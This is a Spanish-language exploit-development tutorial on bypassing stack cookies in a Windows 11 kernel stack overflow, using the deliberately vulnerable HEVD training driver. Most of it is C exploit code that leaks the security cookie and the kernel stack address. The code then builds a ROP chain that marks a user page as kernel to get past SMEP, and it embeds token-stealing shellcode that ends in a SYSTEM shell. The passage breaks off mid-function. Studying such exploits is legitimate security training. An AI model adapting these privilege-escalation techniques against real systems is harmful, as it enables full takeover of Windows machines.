0x09 - El regreso del Windows Kernel Stack Overflow
En el último tutorial explotamos una de las clases de errores más notorias de toda la industria: las Condiciones de Carrera o también conocido como Race Conditions.
En este tutorial volveremos a una clase de error que hemos explotado antes - The Stack Overflow. Sin embargo, esta vez nos encontraremos con una mitigación de exploits conocida como stack cookies o canaries. Dicho esto, saltaremos Windows 7 (x86) y procederemos directamente a Windows 11 (x64).
Es importante tener en cuenta que el problema central en relación con la vulnerabilidad de seguridad NO HA cambiado; seguiremos explotando un Stack Overflow.
Pasemos a una descripción general de alto nivel :)
Table of Contents
Qué son Stack Cookies (Alto Nivel)
Cookies son probablemente uno de los postres más populares; sin embargo, en el contexto de la seguridad cibernética, este es normalmente un término utilizado por los Exploit Developers en respecto a una mitigación de seguridad diseñada para evitar desbordamientos del búfer (también conocidos como stack overflows). Antes de entrar a los detalles técnicos, esto se entiende mejor con una descripción general de alto nivel.
Imagínese que acaba de ir a una excursión familiar y ha traído galletas con chispas de chocolate de la tienda para que otros las coman. Estas cookies son de CENSURADAS, y todos están listo a probarlas!
Sin embargo, tu tía lo pone claro: “todos deben cenar antes del postre”. No sabes que tu tía está celosa. Tus galletas se han convertido en la estrella de la cena! Como le avisaste horas antes de llegar que traerías estas galletas, ella cocinó un lote indistinguible de las galletas de CENSURADO.
Sin embargo, ha añadido un ingrediente…
Mientras todos están distraídos cenando, tu tía cambia las galletas que trajiste por las de ella. Parece que su carne asada volverá a ser la estrella de la cena.
Una vez que todos terminaron su comida, fueron a comer unas deliciosas galletas con chispas de chocolate. Sin embargo, parece que el plan de tu tía falló ya que todos probaron las pasas y CENSURADO no hace galletas con pasas!
Cómo se relaciona esto con las mitigaciones de explotación?
- En este escenario, usted y su familia serían el stack/sistema operativo o Operating System (OS) y las cookies serían llas Stack Cookies (o canaries).
- Tu tía sería la atacante.
- El intercambio de cookies podría considerarse como el stack overflow
- Dado que estas cookies son únicas (chispas de chocolate), usted y su familia podrán identificar fácilmente que no pertenecen a CENSURADO.
De manera muy similar, esto es lo que hace la mitigación de exploits.
Cuando explotas un stack overflow, estás corrompiendo la memoria, esto incluye variables, estructuras, etc. Con esta mitigación, se agrega una “cookie” o valor a el stack.
La forma en que funcionan los programas es que cuando una aplicación regresa de una llamada a una función y la ejecución se dirige a una dirección de retorno, la aplicación realizará una verificación para garantizar que la cookie (valor) no esté dañada (suponiendo que la mitigación esté habilitada). Si la aplicación o el sistema operativo detectan una modificación de este valor, el sistema operativo o la aplicación falla; sin embargo, no de una manera que beneficie al atacante.
Si no podemos encontrar una manera de evitar que esto suceda (por ejemplo, utilizando un leak), lo más probable es que no podamos explotar esta vulnerabilidad.
Por supuesto, hay muchas maneras de evitar cualquier mitigación y hoy haremos precisamente eso!
Quizás ya estés pensando “y si nuestra tía usara chispas de chocolate y no pasas”?
Ingeniería Inversa
Al igual que con vulnerabilidades anteriores, necesitaremos recopilar información antes de iniciar la explotación: el código IOCTL (0x222007) y la función vulnerable. Esto es facil de encontrar ya que HEVD viene con símbolos y funciones convenientemente nombrados para que podamos aprender más sobre estas clases de errores.
Según la descompilación que se muestra arriba, no estaremos luchando con ninguna estructura personalizada, que significa que podemos proceder a mirar a la función TriggerBufferOverflowStackGS
.
Al observar la descompilación anterior, podemos ver que la cookie se almacena en la pseudo variable local_38
, luego llamamos a __security_check_cookie()
al salir de la función. En cuanto a la vulnerabilidad principal, sabemos que se trata de un desbordamiento del búfer básico basado en que memcpy()
copia cualquier búfer en la variable de matriz de pseudocódigo local_238[]
. Sigamos adelante y elaboremos una prueba de concepto para ver qué sucede cuando activamos esta vulnerabilidad.
Creando el PoC
Dado que estamos lidiando con un desbordamiento de pila básico o stack overflow, no hay necesidad de complicar demasiado esto.
Preparemos una prueba de concepto!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
/* IOCTL */
#define STACK_OVERFLOW_GS_IOCTL 0x222007
/* Exploit Settings */
#define ALLOCATION_SIZE 0x1000
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer)
{
size_t i = 0;
uint64_t *payload = (uint64_t *)lpvBuffer;
for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t))
*payload++ = 0x41414141;
return i;
}
/* Exploit():
Stack Overflow (GS) */
int Exploit(HANDLE hHEVD)
{
DWORD dwExploitBuffer = 0;
DWORD dwBytesReturned = 0;
LPVOID lpvMemoryAlloc = NULL;
lpvMemoryAlloc = VirtualAlloc(NULL,
ALLOCATION_SIZE,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvMemoryAlloc == NULL)
{
printf("[*] Failed to create exploitation buffer\n");
return -1;
}
dwExploitBuffer = GenerateExploitBuffer(NULL, lpvMemoryAlloc);
printf("[*] Exploit buffer size: %d\n", dwExploitBuffer);
DeviceIoControl(hHEVD,
STACK_OVERFLOW_GS_IOCTL,
lpvMemoryAlloc,
dwExploitBuffer,
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation success!!! Enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Una vez enviado, tenemos un choque :)
Sin embargo, al observar más el choque, podemos ver que hemos enfrentado la mitigación de cookies o canary del stack.
Análisis de la Mitigación
Al observar la inicialización de la cookie, podemos ver que la __security_cookie
está almacenada dentro de HEVD en HEVD+0x3000
(también podemos confirmar esto en Ghidra). Además, podemos ver que la __security_cookie
será sometida a XOR por el valor actualmente almacenado en RSP. Una vez completada, el resultado de la operación XOR se almacena en RSP+0x220
, esencialmente un desplazamiento del stack. Sin profundizar más en esto, podemos suponer que si sobrescribimos el valor almacenado en RSP+0x220
activaremos la mitigación.
Si reiniciamos el exploit y lo interrumpimos al inicio de TriggerBufferOverflowStackGS
, podemos confirmar que la cookie está almacenada en la memoria de HEVD:
Confirmamos esto aún más cuando lleguemos a la operación XOR. Como se muestra a continuación, podemos ver que es simplemente la dirección de la stack actual, NO un valor codificado de algún tipo.
Si damos un paso más, podemos ver que este nuevo valor almacenado en RAX se colocará en el stack. Qué pasaría si restauráramos esto una vez corrupto?
Es posible que tenga problemas durante el análisis con un búfer tan grande, así que continúe y reduzca el tamaño del búfer a 0x900 bytes. Una vez hecho esto, vuelva a ejecutar el experimento anterior y ejecute !analyze -v
. Esta vez nuestra cookie final después de la operación XOR es ffff40da07033567 y RSP+0x220 apunta a ffffe58347db76f0, con eso podemos establecer un punto de interrupción en HEVD+0x867b9. En este punto, si continuamos con la ejecución, podemos ver que damos un salto; si continuamos (no lo haremos), terminaríamos llamando a la función __security_check_cookie(). Si volcamos la dirección donde se almacenó la cookie, podremos ver que la hemos dañado. Sin embargo, si lo restauramos y continuamos…
Obtenemos control sobre el puntero de instrucción :)
Esto nos da una descripción general sólida de alto nivel sobre cómo podemos evitar esta mitigación.
Horneando galletas
Entonces, al igual que con otros exploits que hemos escrito a lo largo de este “curso” de HEVD, es posible que esté pensando que esto sería tan simple como obtener la dirección base de HEVD y leer la ubicación de la memoria donde se encontraba la cookie. Sin embargo, rápidamente (obstinadamente) nos enteramos de que este no era el caso. Necesitamos encontrar una leak, en nuestro caso podríamos reutilizar la vulnerabilidad Write-What-Where o Arbitrary Write…
Escribamos un PoC y probémoslo.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
/* IOCTL */
#define STACK_OVERFLOW_GS_IOCTL 0x222007
#define ARBITRARY_WRITE_IOCTL 0x22200b
/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* Exploit Settings */
#define ALLOCATION_SIZE 0x900
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer)
{
size_t i = 0;
uint64_t *payload = (uint64_t *)lpvBuffer;
for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t))
*payload++ = 0x41414141;
return i;
}
/* WriteBytes():
Arbitrary write located in the TriggerArbitraryWrite() function */
void WriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = u64Where;
www.ullpWhat = u64What;
printf("\t[*] Writing 0x%p to 0x%p\n", www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE_IOCTL,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
/* LeakCookie():
Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from
Kernel Land. */
uint64_t LeakCookie(HANDLE hHEVD, LPVOID lpvHEVD)
{
uint64_t cookie = 0;
uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);
printf("\t[*] Cookie located @{0x%p}\n", pu64Cookie);
WriteBytes(hHEVD, pu64Cookie, &cookie);
printf("\t[+] Cookie leaked: 0x%p\n", cookie);
return cookie;
}
/* Exploit():
Stack Overflow (GS) */
int Exploit(HANDLE hHEVD)
{
uint64_t cookie = 0x00;
DWORD dwExploitBuffer = 0;
DWORD dwBytesReturned = 0;
LPVOID lpvMemoryAlloc = NULL;
LPVOID lpvHEVD = GetKernelModuleBase("HEVD");
if (lpvHEVD == NULL) {
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
printf("[*] Base address of HEVD @{0x%p}\n", lpvHEVD);
printf("[*] Attempting to leak __security_cookie\n");
cookie = LeakCookie(hHEVD, lpvHEVD);
---snip---
}
Una vez enviado, vemos la cookie del stack!
Sin embargo, todavía necesitamos una leak del stack… Estaba confundido… hasta que encontré otra publicación de Kristal-G donde el uso un stack leak de sam-b.
Codifiquemos esto una vez más y probémoslo!
void LeakStack(wchar_t *targetPoC)
{
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
exit(-1);
}
ULONG len = 2000;
NTSTATUS status = 0x00;
PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;
do {
len *= 2;
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
exit(-1);
}
while (pProcessInfo->NextEntryOffset != 0x00) {
// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL?
if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL || pProcessInfo->ImageName.Buffer == NULL) {
printf("[*] Leaking stack from %ls\n", targetPoC);
for (unsigned int i = 0; i < pProcessInfo->NumberOfThreads; i++) {
LPVOID stackBase = pProcessInfo->Threads[i].StackBase;
LPVOID stackLimit = pProcessInfo->Threads[i].StackLimit;
#ifdef _WIN64
printf("\tStack base 0x%p\tStack limit 0x%p\n", stackBase, stackLimit);
#else
printf("\tStack base 0x%X\t", stackBase);
printf("\tStack limit 0x%X\r\n", stackLimit);
#endif
break;
}
}
if (!pProcessInfo->NextEntryOffset) {
pProcessInfo = NULL;
} else {
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);
}
}
}
/* Exploit():
Stack Overflow (GS) */
int Exploit(HANDLE hHEVD)
{
uint64_t cookie = 0x00;
DWORD dwExploitBuffer = 0;
DWORD dwBytesReturned = 0;
LPVOID lpvStackLeak = NULL;
LPVOID lpvMemoryAlloc = NULL;
LPVOID lpvHEVD = GetKernelModuleBase("HEVD");
if (lpvHEVD == NULL) {
printf("[-] Failed to obtain the base address of HEVD\n");
return -1;
}
printf("[*] Base address of HEVD @{0x%p}\n", lpvHEVD);
printf("[*] Attempting to leak __security_cookie\n");
cookie = LeakCookie(hHEVD, lpvHEVD);
LeakStack(L"poc.exe");
getchar();
---snip---
}
Como se puede ver en nuestro código, tuvimos muchos problemas para obtener el proceso de destino. Fue extraño, básicamente lo que terminamos viendo fue que pProcessInfor->ImageName.Buffer
necesitaba ser NULL.
Podemos confirmar esto aún más con WinDbg.
Con eso deberíamos tener todo lo que necesitamos para explotar esto :)
Explotación
Código PoC:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <wchar.h>
#include <windows.h>
#include <psapi.h>
#include <shlwapi.h>
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.h
typedef struct _VM_COUNTERS {
// the following was inferred by painful reverse engineering
SIZE_T PeakVirtualSize; // not actually
SIZE_T PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T VirtualSize; // not actually
} VM_COUNTERS;
typedef enum _KWAIT_REASON
{
Executive = 0,
FreePage = 1,
PageIn = 2,
PoolAllocation = 3,
DelayExecution = 4,
Suspended = 5,
UserRequest = 6,
WrExecutive = 7,
WrFreePage = 8,
WrPageIn = 9,
WrPoolAllocation = 10,
WrDelayExecution = 11,
WrSuspended = 12,
WrUserRequest = 13,
WrEventPair = 14,
WrQueue = 15,
WrLpcReceive = 16,
WrLpcReply = 17,
WrVirtualMemory = 18,
WrPageOut = 19,
WrRendezvous = 20,
Spare2 = 21,
Spare3 = 22,
Spare4 = 23,
Spare5 = 24,
WrCalloutStack = 25,
WrKernel = 26,
WrResource = 27,
WrPushLock = 28,
WrMutex = 29,
WrQuantumEnd = 30,
WrDispatchInt = 31,
WrPreempted = 32,
WrYieldExecution = 33,
WrFastMutex = 34,
WrGuardedMutex = 35,
WrRundown = 36,
MaximumWaitReason = 37
} KWAIT_REASON;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
#ifdef _WIN64
ULONG Reserved[4];
#endif
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION
{
SYSTEM_THREAD_INFORMATION ThreadInfo;
PVOID StackBase;
PVOID StackLimit;
PVOID Win32StartAddress;
PVOID TebAddress; /* This is only filled in on Vista and above */
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
PVOID PageDirectoryBase;
VM_COUNTERS VirtualMemoryCounters;
SIZE_T PrivatePageCount;
IO_COUNTERS IoCounters;
SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];
} SYSTEM_EXTENDED_PROCESS_INFORMATION, *PSYSTEM_EXTENDED_PROCESS_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedProcessInformation = 57
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
/* IOCTL */
#define STACK_OVERFLOW_GS_IOCTL 0x222007
#define ARBITRARY_WRITE_IOCTL 0x22200b
/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
/* Exploit Settings */
#define ALLOCATION_SIZE 0x900
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvStackLeak, uint64_t cookie, LPVOID lpvBuffer)
{
size_t j = 0;
size_t i = 0;
LPVOID shellcode = NULL;
uint64_t nt = (uint64_t)(lpvNt);
uint64_t stack = (uint64_t)(lpvStackLeak);
uint64_t *payload = (uint64_t *)(lpvBuffer);
uint8_t sc[129] = {
// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80,
0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04,
0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00,
0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04,
0x00, 0x00,
// sickle-tool -p windows/x64/kernel_sysret -f num (71)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88,
0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00,
0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f,
0x07 };
shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcode == NULL)
{
printf("[-] Failed to allocate memory for shellcode\n");
return -1;
}
RtlCopyMemory(shellcode, sc, 129);
/* Adjust the stack pointer */
stack -= 0xb30;
printf("\t[*] Writing stack cookie @{0x%p}\n", stack);
/* Overflow past the size of the buffer */
for (i = 0; i < (512 / sizeof(uint64_t)); i++)
{
payload[i] = 0x4141414141414141;
}
payload[i++] = (stack ^ cookie); /* Stack Cookie */
/* Offset to shellcode start */
payload[i++] = 0x4343434343434343;
payload[i++] = 0x4444444444444444;
payload[i++] = 0x4545454545454545;
payload[i++] = 0x4646464646464646;
payload[i++] = 0x4747474747474747;
payload[i++] = 0x4848484848484848;
/* Prepare RDX register for later. This is needed for the XOR operation */
payload[i++] = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
payload[i++] = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR
payload[i++] = 0x000000; // [filler]
payload[i++] = 0x000000; // [filler]
/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our
userland code. The setup is as follows:
RAX -> VOID *MiGetPteAddress(
( RCX == PTE / Userland Code )
);
Once the call is complete RAX should contain the pointer to our PTE. */
payload[i++] = nt + 0x57699c; // pop rcx ; ret
payload[i++] = (uint64_t)shellcode; // *shellcode
payload[i++] = nt + 0x24aaec; // MiGetPteAddress()
/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to
mark the page as a kernel page (U -> K). We can do this using XOR ;) */
payload[i++] = nt + 0x30fcf3; // sub rax, rdx ; ret
payload[i++] = nt + 0x54f344; // push rax ; pop rbx ; ret
payload[i++] = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
payload[i++] = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found)
payload[i++] = 0x000000; // [filler]
payload[i++] = 0x000000; // [filler]
payload[i++] = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret
/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */
for (j = 0; j < 0xC; j++) {
payload[i++] = (uint64_t)shellcode;
}
printf("\t[*] Generated %d bytes ...\n", (i * sizeof(uint64_t)));
return (i * sizeof(uint64_t));
}
/* WriteBytes():
Arbitrary write located in the TriggerArbitraryWrite() function */
void WriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where)
{
DWORD dwBytesReturned = 0;
WRITE_WHAT_WHERE www = { 0 };
www.ullpWhere = u64Where;
www.ullpWhat = u64What;
printf("\t[*] Writing 0x%p to 0x%p\n", www.ullpWhat, www.ullpWhere);
DeviceIoControl(hHEVD,
ARBITRARY_WRITE_IOCTL,
&www,
sizeof(WRITE_WHAT_WHERE),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
/* LeakCookie():
Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from
Kernel Land. */
uint64_t LeakCookie(HANDLE hHEVD, LPVOID lpvHEVD)
{
uint64_t cookie = 0;
uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);
printf("\t[*] Cookie located @{0x%p}\n", pu64Cookie);
WriteBytes(hHEVD, pu64Cookie, &cookie);
printf("\t[+] Cookie leaked: 0x%p\n", cookie);
return cookie;
}
void LeakStack(wchar_t *targetPoC, LPVOID *lpvStackLeak)
{
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
exit(-1);
}
ULONG len = 2000;
NTSTATUS status = 0x00;
PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;
do {
len *= 2;
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
exit(-1);
}
LPVOID stackBase = NULL;
LPVOID stackLimit = NULL;
while (pProcessInfo->NextEntryOffset != 0x00) {
// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL?
if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL) {
printf("[*] Leaking stack from %ls\n", targetPoC);
for (unsigned int i = 0; i < pProcessInfo->NumberOfThreads; i++) {
stackBase = pProcessInfo->Threads[i].StackBase;
stackLimit = pProcessInfo->Threads[i].StackLimit;
#ifdef _WIN64
printf("\t[*] Stack base 0x%p\tStack limit 0x%p\n", stackBase, stackLimit);
#else
printf("\t[*] Stack base 0x%X\tStack limit 0x%X\n", stackBase, stackLimit);
#endif
break;
}
}
if (!pProcessInfo->NextEntryOffset) {
pProcessInfo = NULL;
} else {
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);
}
}
*lpvStackLeak = stackBase;
}
/* Exploit():
Stack Overflow (GS) */
int Exploit(HANDLE hHEVD)
{
uint64_t cookie = 0x00;
DWORD dwExploitBuffer = 0;
DWORD dwBytesReturned = 0;
LPVOID lpvStackLeak = NULL;
LPVOID lpvMemoryAlloc = NULL;
LPVOID lpvHEVD = GetKernelModuleBase("HEVD");
